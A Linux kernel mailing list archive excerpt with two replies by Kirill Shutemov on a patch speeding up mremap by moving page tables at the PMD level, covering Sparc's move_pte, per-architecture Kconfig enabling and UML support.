 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia.edu,
 Ingo Molnar <mingo@redhat.com>, Geert Uytter
To: Joel Fernandes <joel@joelfernandes.org>
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Fri Oct 12 23:32:19 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1gB52g-00068t-KZ
	for glpr-linux-riscv@m.gmane.org; Fri, 12 Oct 2018 23:32:18 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=gIQ0Cb6piF9H0Oivd7tWa1LWjK0DMJhe9XUgV7LACKc=; b=GUSpFi4LiL9x5s
	f7nRpE/TYMndJahTws5hdu9pzjWkPUlNpWR+a+zUy+HEeObpfQfT8vtj+jRr2IGpYlf7Yi1nUB2cx
	NDKgP3Suuv51P+CKBNmh0SFXH+SLrWnjLPFrLtJgnm5yxgXzY1O2a1tXFLpaMnGJy/YOE1TUPoDRV
	1LqS6Qs67Ca7rISJ4tPMFa9TSm4xZTJboOWqx5Jl8NDZCmel4JQAtCpJ0AmC4lOAg1vOCc+ZS2Dps
	GqKsiNDAnFxHYpjIVD1KpJR4RYhBLtrXPBt9xjunSlnhborjmTutg12dottz0xhJXWsJ1Wr+7v7jH
	TJPkTg41CAuyTxnlcdXw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gB54j-0005PZ-C9; Fri, 12 Oct 2018 21:34:25 +0000
Original-Received: from mail-pf1-x443.google.com ([2607:f8b0:4864:20::443])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gB54e-0005Bp-ND
 for linux-riscv@lists.infradead.org; Fri, 12 Oct 2018 21:34:23 +0000
Original-Received: by mail-pf1-x443.google.com with SMTP id f29-v6so6810378pff.5
 for <linux-riscv@lists.infradead.org>; Fri, 12 Oct 2018 14:34:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=shutemov-name.20150623.gappssmtp.com; s=20150623;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=LHzipgUbb9bD6KKi7C8OH4ai2uXb2G2QZZei89osBiM=;
 b=tt4haWxvZLIGYgzjVvsH+gjFwfPR7DwtAHjZBdy13UoFAue6QtBjQ7yFpwdRLddwrz
 5M7Rt9vrVAomTaqAQJ7suNm3XfxtViA+swo1shgRv6b5mcASOaSfl1jxY9Io26x/3N43
 kJHc/sqKzp2v6SuHG2C8dEeJBeZpx9rXlnSqNr5HyQtCYHzhqAX/snQjGfm5BB5VdZSs
 MEUpJyErXmrbzyP5LvHp09wHHqO17A1BhLGE8wPOnD0xxGQXTAOimdYT+DkyVwz2AN51
 go/7rEXftCDBj/fYKEoPC9lVN9fdUs5TJXPwZPZIVEu19exs/DzqHb05FsfuzodtJKAK
 +mQQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:in-reply-to:user-agent;
 bh=LHzipgUbb9bD6KKi7C8OH4ai2uXb2G2QZZei89osBiM=;
 b=gplvT99KunwbDiKQ3Cb6WXan9u1aFcMuJjj2YeqMkBKNEr/vhQVB9yrRPJoZfCTIZ/
 wUPxBdZP/zcsG+zw/GMHKYc8geQElhJT31DiMkAO3KZIMjtdIQWoJNlHL4LY/yGG2F9O
 Zz2o77xSxF5/1POiNCRZUHZJj+mi6UPnb1D12TE7FSPBlXXAlyEFuIko2gO1NJXodFR+
 JmzIJ8mcRlvfkNQYmxs/s0bjvU2HjpaUSV9fuGt+vEAEg2jd/psyc16rEn+Zu0FNyPJ/
 f3wWX8+ASyIlX1IVbFBhJNcrZAdoJzK5Zhj1gNMGUU9++a02A9ozBDZ4M67Sj/JpxoRf
 lnZw==
X-Gm-Message-State: ABuFfohjvgsxSiJHZgy8P4xA6CQFRrP06PgdNnmtvxRmcqRx51DOfL9J
 OjNWXJTddWcdVaqZ104IA2+ivQ==
X-Google-Smtp-Source: ACcGV60SvcDuwwFfUZrEoWm25R56HMmg4aebudF5owuY6h5Fceo65AszhVv0RP3+l3Jd652Z5Qm4rw==
X-Received: by 2002:a63:7b09:: with SMTP id
 w9-v6mr7023932pgc.385.1539380045793; 
 Fri, 12 Oct 2018 14:34:05 -0700 (PDT)
Original-Received: from kshutemo-mobl1.localdomain (fmdmzpr03-ext.fm.intel.com.
 [192.55.54.38])
 by smtp.gmail.com with ESMTPSA id t85-v6sm3751969pfi.73.2018.10.12.14.34.03
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Fri, 12 Oct 2018 14:34:04 -0700 (PDT)
Original-Received: by kshutemo-mobl1.localdomain (Postfix, from userid 1000)
 id 0D98A300030; Sat, 13 Oct 2018 00:34:00 +0300 (+03)
Content-Disposition: inline
In-Reply-To: <20181012165719.GE223066@joelaf.mtv.corp.google.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181012_143420_784025_87D01743 
X-CRM114-Status: GOOD (  31.69  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:443 listed in] [list.dnswl.org]
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.0 DKIMWL_WL_MED          DKIMwl.org - Whitelisted Medium sender
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:1059 gmane.linux.ports.mips.general:67061 gmane.linux.ports.ia64:29391 gmane.linux.ports.sh.devel:57638 gmane.linux.kernel.mm:205199 gmane.linux.ports.sparc:28561 gmane.linux.ports.hexagon:1913 gmane.comp.emulators.kvm.arm.devel:19451 gmane.linux.kernel.arc:4540 gmane.linux.ports.arm.kernel:679407 gmane.linux.ports.parisc:29166 gmane.linux.kernel:2898021 gmane.linux.ports.alpha:5315 gmane.linux.ports.ppc64.devel:164161
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/1059>

On Fri, Oct 12, 2018 at 09:57:19AM -0700, Joel Fernandes wrote:
> On Fri, Oct 12, 2018 at 04:19:46PM +0300, Kirill A. Shutemov wrote:
> > On Fri, Oct 12, 2018 at 05:50:46AM -0700, Joel Fernandes wrote:
> > > On Fri, Oct 12, 2018 at 02:30:56PM +0300, Kirill A. Shutemov wrote:
> > > > On Thu, Oct 11, 2018 at 06:37:56PM -0700, Joel Fernandes (Google) wrote:
> > > > > Android needs to mremap large regions of memory during memory management
> > > > > related operations. The mremap system call can be really slow if THP is
> > > > > not enabled. The bottleneck is move_page_tables, which is copying each
> > > > > pte at a time, and can be really slow across a large map. Turning on THP
> > > > > may not be a viable option, and is not for us. This patch speeds up the
> > > > > performance for non-THP system by copying at the PMD level when possible.
> > > > > 
> > > > > The speed up is three orders of magnitude. On a 1GB mremap, the mremap
> > > > > completion times drops from 160-250 millesconds to 380-400 microseconds.
> > > > > 
> > > > > Before:
> > > > > Total mremap time for 1GB data: 242321014 nanoseconds.
> > > > > Total mremap time for 1GB data: 196842467 nanoseconds.
> > > > > Total mremap time for 1GB data: 167051162 nanoseconds.
> > > > > 
> > > > > After:
> > > > > Total mremap time for 1GB data: 385781 nanoseconds.
> > > > > Total mremap time for 1GB data: 388959 nanoseconds.
> > > > > Total mremap time for 1GB data: 402813 nanoseconds.
> > > > > 
> > > > > Incase THP is enabled, the optimization is skipped. I also flush the
> > > > > tlb every time we do this optimization since I couldn't find a way to
> > > > > determine if the low-level PTEs are dirty. It is seen that the cost of
> > > > > doing so is not much compared the improvement, on both x86-64 and arm64.
> > > > 
> > > > I looked into the code more and noticed move_pte() helper called from
> > > > move_ptes(). It changes PTE entry to suite new address.
> > > > 
> > > > It is only defined in non-trivial way on Sparc. I don't know much about
> > > > Sparc and it's hard for me to say if the optimization will break anything
> > > > there.
> > > 
> > > Sparc's move_pte seems to be flushing the D-cache to prevent aliasing. It is
> > > not modifying the PTE itself AFAICS:
> > > 
> > > #ifdef DCACHE_ALIASING_POSSIBLE
> > > #define __HAVE_ARCH_MOVE_PTE
> > > #define move_pte(pte, prot, old_addr, new_addr)                         \
> > > ({                                                                      \
> > >         pte_t newpte = (pte);                                           \
> > >         if (tlb_type != hypervisor && pte_present(pte)) {               \
> > >                 unsigned long this_pfn = pte_pfn(pte);                  \
> > >                                                                         \
> > >                 if (pfn_valid(this_pfn) &&                              \
> > >                     (((old_addr) ^ (new_addr)) & (1 << 13)))            \
> > >                         flush_dcache_page_all(current->mm,              \
> > >                                               pfn_to_page(this_pfn));   \
> > >         }                                                               \
> > >         newpte;                                                         \
> > > })
> > > #endif
> > > 
> > > If its an issue, then how do transparent huge pages work on Sparc?  I don't
> > > see the huge page code (move_huge_pages) during mremap doing anything special
> > > for Sparc architecture when moving PMDs..
> > 
> > My *guess* is that it will work fine on Sparc as it apprarently it only
> > cares about change in bit 13 of virtual address. It will never happen for
> > huge pages or when PTE page tables move.
> > 
> > But I just realized that the problem is bigger: since we pass new_addr to
> > the set_pte_at() we would need to audit all implementations that they are
> > safe with just moving PTE page table.
> > 
> > I would rather go with per-architecture enabling. It's much safer.
> 
> I'm Ok with the per-arch enabling, I agree its safer. So I should be adding a
> a new __HAVE_ARCH_MOVE_PMD right, or did you have a better name for that?

I believe Kconfig option is more cononical way to do this nowadays.
So CONFIG_HAVE_ARCH_MOVE_PMD, I guess. Or CONFIG_HAVE_MOVE_PMD.
An arch that supports it would select the option.

> Also, do you feel we should still need to remove the address argument from
> set_pte_alloc? Or should we leave that alone if we do per-arch?
> I figure I spent a bunch of time on that already anyway, and its a clean up
> anyway, so may as well do it. But perhaps that "pte_alloc cleanup" can then
> be a separate patch independent of this series?

Yeah. The cleanup makes sense anyway.

-- 
 Kirill A. Shutemov

From - Thu Nov 08 21:42:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Kirill A. Shutemov" <kirill@shutemov.name>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.riscv,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.sparc,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 2/2] mm: speed up mremap by 500x on large regions
Date: Sat, 13 Oct 2018 00:40:08 +0300
Lines: 151
Approved: news@gmane.org
Message-ID: <20181012214008.jj7vhh76vte7xj7i@kshutemo-mobl1>
References: <20181012013756.11285-1-joel@joelfernandes.org>
 <20181012013756.11285-2-joel@joelfernandes.org>
 <9ed82f9e-88c4-8e4f-8c45-3ef153469603@kot-begemot.co.uk>
 <20181012143728.t42uvr6etg7gp7fh@kshutemo-mobl1>
 <4dd52e22-5b51-9b30-7178-fde603a08f88@kot-begemot.co.uk>
 <97cb3fe1-7bc1-12ff-d602-56c72a5496c5@kot-begemot.co.uk>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1539380313 18401 195.159.176.226 (12 Oct 2018 21:38:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 21:38:33 +0000 (UTC)
User-Agent: NeoMutt/20180716
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 "Joel Fernandes \(Google\)" <joel@joelfernandes.org>,
 linux-riscv@lists.infradead.org, elfring@users.sourceforge.net,
 Jonas Bonn <jonas@southpole.se>, linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Max Filippov <jcmvbkbc@gmail.com>,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia.edu,
 Ingo Molnar <mingo
To: Anton Ivanov <anton.ivanov@kot-begemot.co.uk>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Oct 12 23:38:23 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gB58Y-0004c1-MB
	for gla-linux-snps-arc@m.gmane.org; Fri, 12 Oct 2018 23:38:22 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=2lRlWr5IUwygx4y8qslfSUpUaaEJ32OmVKb6OhYeVhg=; b=GqYNlmpZ7z/mTy
	x1p0z98mipS7ltrR2TtNFK6vH/dgS+VTEyeIoE6pKEnYN5kPzMtLysHTFo+BrfFJ+eXFfFDh0SbMR
	f4AzkRxmrgmZS2y7tGx/JKjYK6zIEpSSVuNarBMOsuSIgVH68FAQVxTsWI/YacgtQF4P/Qe/wzBZa
	Drcvv2DzZb+I27r5aNMOO3wjD/hpO79FA+TwqSit33k81RW7g/atRAlVtOD6VKb7geF9gVnPoSb3y
	SpVurg4oQuZjTLL2SJaXPhRoxpJ5V9Eauu/oEOJ7T9LYwWUxLsF5aBLyzQ5hVnr6WvKQvjs4RVH+1
	n/CmhEyr9Vb2+bgNW/MA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gB5Ad-0000Hr-B0; Fri, 12 Oct 2018 21:40:31 +0000
Original-Received: from mail-pl1-x641.google.com ([2607:f8b0:4864:20::641])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gB5AX-0000Fh-TQ
 for linux-snps-arc@lists.infradead.org; Fri, 12 Oct 2018 21:40:28 +0000
Original-Received: by mail-pl1-x641.google.com with SMTP id p25-v6so6486562pli.11
 for <linux-snps-arc@lists.infradead.org>; Fri, 12 Oct 2018 14:40:14 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=shutemov-name.20150623.gappssmtp.com; s=20150623;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:content-transfer-encoding:in-reply-to
 :user-agent; bh=EZ6AbY0+QEnL8HzuWmhaSK57wwCzlnbyYarLpRCj7aE=;
 b=Q7MBCldyZ+B/JLvaaWb2BMtFheBm5otzXbhsmcIEVD1EtSsxlAuCLFEl3Qc9pQvALC
 OQ51TCa4SHitV2rlVUpX3cM0p+/om0n5xzX3/rZS/fRPaTfcdmGyTACXh/UCtpVx+tey
 t8B5BykJZgHPVDKJPRm0A5ZSASpImmXPcYBQvXSamjRHhwRlGrcyKkA930swlfj92SWS
 pCp04U3HKrqug2Ljbc1e2tkQdP63fnpVyLcEWWWj/2cEOxqu6DOQ29jS+ZKX9Dnvh6dY
 xV/QUedFYwWz1E7NKGs3C2fT6MKWqRGH5aQEFuLubHYXLKyxnHGCRSChPda1hBOJq2br
 s0yA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:content-transfer-encoding
 :in-reply-to:user-agent;
 bh=EZ6AbY0+QEnL8HzuWmhaSK57wwCzlnbyYarLpRCj7aE=;
 b=qDxFRJdrIT1ZxWwwu2DLXY+o+o8ehsoC6p7br/dZXTGG6MX8aVcZYs4pMeprdazCKC
 xs18IZgpvfWbRzjWt6zuyFqd8wZvxwHII0MXamO1BVenPJqU1/oAJkxaC0ToKAjeyc93
 /cQQXEILub3qYDraa09TR/x4um9WqCCb5LMiBD2Rwn+hIsSPTnwCHJDgfB6d1+NcE2eg
 yuWM8n9JP3xcNGzvd/tmIDrjCfOgNrtLiBJ+mRKvcP1XzA+g2QdN2zbF5PSmVMOVbb8V
 gwN5mqjrnbeLUGZis3RZmXrXIqcb0I9i4D2HoYnt0p6vNKvukLLxlqOmWs1nv+MRD5yl
 1OkA==
X-Gm-Message-State: ABuFfojHBTr+zhsK0spdPWGGo6T1etqMFc30omtT0cvp3ax4x5Sg7HP9
 oyOVFTkTJIV8TLEA1MV0r4RkzA==
X-Google-Smtp-Source: ACcGV62d4s8oK2nDlUWN514RERavyrSsHNwTTo+k9wMz9Jnjk7To6L0I7Xbsikct+spe0KRWje8CWA==
X-Received: by 2002:a17:902:b491:: with SMTP id
 y17-v6mr2579110plr.122.1539380413742; 
 Fri, 12 Oct 2018 14:40:13 -0700 (PDT)
Original-Received: from kshutemo-mobl1.localdomain (fmdmzpr03-ext.fm.intel.com.
 [192.55.54.38])
 by smtp.gmail.com with ESMTPSA id a79-v6sm3576671pfa.124.2018.10.12.14.40.11
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Fri, 12 Oct 2018 14:40:12 -0700 (PDT)
Original-Received: by kshutemo-mobl1.localdomain (Postfix, from userid 1000)
 id 710CC300030; Sat, 13 Oct 2018 00:40:08 +0300 (+03)
Content-Disposition: inline
In-Reply-To: <97cb3fe1-7bc1-12ff-d602-56c72a5496c5@kot-begemot.co.uk>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181012_144025_976248_399554AB 
X-CRM114-Status: GOOD (  31.54  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:641 listed in] [list.dnswl.org]
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.0 DKIMWL_WL_MED          DKIMwl.org - Whitelisted Medium sender
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4541 gmane.linux.ports.mips.general:67062 gmane.linux.ports.ia64:29392 gmane.linux.ports.sh.devel:57639 gmane.linux.kernel.mm:205200 gmane.linux.ports.riscv:1060 gmane.linux.ports.hexagon:1914 gmane.comp.emulators.kvm.arm.devel:19452 gmane.linux.ports.alpha:5316 gmane.linux.ports.arm.kernel:679409 gmane.linux.ports.parisc:29167 gmane.linux.kernel:2898024 gmane.linux.ports.sparc:28562 gmane.linux.ports.ppc64.devel:164162
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4541>

On Fri, Oct 12, 2018 at 05:42:24PM +0100, Anton Ivanov wrote:
> =

> On 10/12/18 3:48 PM, Anton Ivanov wrote:
> > On 12/10/2018 15:37, Kirill A. Shutemov wrote:
> > > On Fri, Oct 12, 2018 at 03:09:49PM +0100, Anton Ivanov wrote:
> > > > On 10/12/18 2:37 AM, Joel Fernandes (Google) wrote:
> > > > > Android needs to mremap large regions of memory during
> > > > > memory management
> > > > > related operations. The mremap system call can be really
> > > > > slow if THP is
> > > > > not enabled. The bottleneck is move_page_tables, which is copying=
 each
> > > > > pte at a time, and can be really slow across a large map.
> > > > > Turning on THP
> > > > > may not be a viable option, and is not for us. This patch
> > > > > speeds up the
> > > > > performance for non-THP system by copying at the PMD level
> > > > > when possible.
> > > > > =

> > > > > The speed up is three orders of magnitude. On a 1GB mremap, the m=
remap
> > > > > completion times drops from 160-250 millesconds to 380-400
> > > > > microseconds.
> > > > > =

> > > > > Before:
> > > > > Total mremap time for 1GB data: 242321014 nanoseconds.
> > > > > Total mremap time for 1GB data: 196842467 nanoseconds.
> > > > > Total mremap time for 1GB data: 167051162 nanoseconds.
> > > > > =

> > > > > After:
> > > > > Total mremap time for 1GB data: 385781 nanoseconds.
> > > > > Total mremap time for 1GB data: 388959 nanoseconds.
> > > > > Total mremap time for 1GB data: 402813 nanoseconds.
> > > > > =

> > > > > Incase THP is enabled, the optimization is skipped. I also flush =
the
> > > > > tlb every time we do this optimization since I couldn't find a wa=
y to
> > > > > determine if the low-level PTEs are dirty. It is seen that the co=
st of
> > > > > doing so is not much compared the improvement, on both
> > > > > x86-64 and arm64.
> > > > > =

> > > > > Cc: minchan@kernel.org
> > > > > Cc: pantin@google.com
> > > > > Cc: hughd@google.com
> > > > > Cc: lokeshgidra@google.com
> > > > > Cc: dancol@google.com
> > > > > Cc: mhocko@kernel.org
> > > > > Cc: kirill@shutemov.name
> > > > > Cc: akpm@linux-foundation.org
> > > > > Signed-off-by: Joel Fernandes (Google) <joel@joelfernandes.org>
> > > > > ---
> > > > > =A0=A0 mm/mremap.c | 62
> > > > > +++++++++++++++++++++++++++++++++++++++++++++++++++++
> > > > > =A0=A0 1 file changed, 62 insertions(+)
> > > > > =

> > > > > diff --git a/mm/mremap.c b/mm/mremap.c
> > > > > index 9e68a02a52b1..d82c485822ef 100644
> > > > > --- a/mm/mremap.c
> > > > > +++ b/mm/mremap.c
> > > > > @@ -191,6 +191,54 @@ static void move_ptes(struct
> > > > > vm_area_struct *vma, pmd_t *old_pmd,
> > > > > =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 drop_rmap_locks(vma);
> > > > > =A0=A0 }
> > > > > +static bool move_normal_pmd(struct vm_area_struct *vma,
> > > > > unsigned long old_addr,
> > > > > +=A0=A0=A0=A0=A0=A0=A0=A0=A0 unsigned long new_addr, unsigned lon=
g old_end,
> > > > > +=A0=A0=A0=A0=A0=A0=A0=A0=A0 pmd_t *old_pmd, pmd_t *new_pmd, bool=
 *need_flush)
> > > > > +{
> > > > > +=A0=A0=A0 spinlock_t *old_ptl, *new_ptl;
> > > > > +=A0=A0=A0 struct mm_struct *mm =3D vma->vm_mm;
> > > > > +
> > > > > +=A0=A0=A0 if ((old_addr & ~PMD_MASK) || (new_addr & ~PMD_MASK)
> > > > > +=A0=A0=A0=A0=A0=A0=A0 || old_end - old_addr < PMD_SIZE)
> > > > > +=A0=A0=A0=A0=A0=A0=A0 return false;
> > > > > +
> > > > > +=A0=A0=A0 /*
> > > > > +=A0=A0=A0=A0 * The destination pmd shouldn't be established, fre=
e_pgtables()
> > > > > +=A0=A0=A0=A0 * should have release it.
> > > > > +=A0=A0=A0=A0 */
> > > > > +=A0=A0=A0 if (WARN_ON(!pmd_none(*new_pmd)))
> > > > > +=A0=A0=A0=A0=A0=A0=A0 return false;
> > > > > +
> > > > > +=A0=A0=A0 /*
> > > > > +=A0=A0=A0=A0 * We don't have to worry about the ordering of src =
and dst
> > > > > +=A0=A0=A0=A0 * ptlocks because exclusive mmap_sem prevents deadl=
ock.
> > > > > +=A0=A0=A0=A0 */
> > > > > +=A0=A0=A0 old_ptl =3D pmd_lock(vma->vm_mm, old_pmd);
> > > > > +=A0=A0=A0 if (old_ptl) {
> > > > > +=A0=A0=A0=A0=A0=A0=A0 pmd_t pmd;
> > > > > +
> > > > > +=A0=A0=A0=A0=A0=A0=A0 new_ptl =3D pmd_lockptr(mm, new_pmd);
> > > > > +=A0=A0=A0=A0=A0=A0=A0 if (new_ptl !=3D old_ptl)
> > > > > +=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 spin_lock_nested(new_ptl, SING=
LE_DEPTH_NESTING);
> > > > > +
> > > > > +=A0=A0=A0=A0=A0=A0=A0 /* Clear the pmd */
> > > > > +=A0=A0=A0=A0=A0=A0=A0 pmd =3D *old_pmd;
> > > > > +=A0=A0=A0=A0=A0=A0=A0 pmd_clear(old_pmd);
> > > > > +
> > > > > +=A0=A0=A0=A0=A0=A0=A0 VM_BUG_ON(!pmd_none(*new_pmd));
> > > > > +
> > > > > +=A0=A0=A0=A0=A0=A0=A0 /* Set the new pmd */
> > > > > +=A0=A0=A0=A0=A0=A0=A0 set_pmd_at(mm, new_addr, new_pmd, pmd);
> > > > UML does not have set_pmd_at at all
> > > Every architecture does. :)
> > =

> > I tried to build it patching vs 4.19-rc before I made this statement and
> > ran into that.
> > =

> > Presently it does not.
> > =

> > https://elixir.bootlin.com/linux/v4.19-rc7/ident/set_pmd_at - UML is not
> > on the list.
> =

> Once this problem as well as the omissions in the include changes for UML=
 in
> patch one have been fixed it appears to be working.
> =

> What it needs is attached.

Well, the optization is only suitable for arch that has 3 or more levels
of page tables. Otherwise it will not have [non-folded] pmd.

And in this case arch/um already should have set_pmd_at(), see
3_LEVEL_PGTABLES.

To port on 2-level paging, it has to be handled on pgd level. It
complicates the code and will not bring much value.

-- =

 Kirill A. Shutemov

From - Thu Nov 08 21:42:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Joel Fernandes (Google)" <joel@joelfernandes.org>
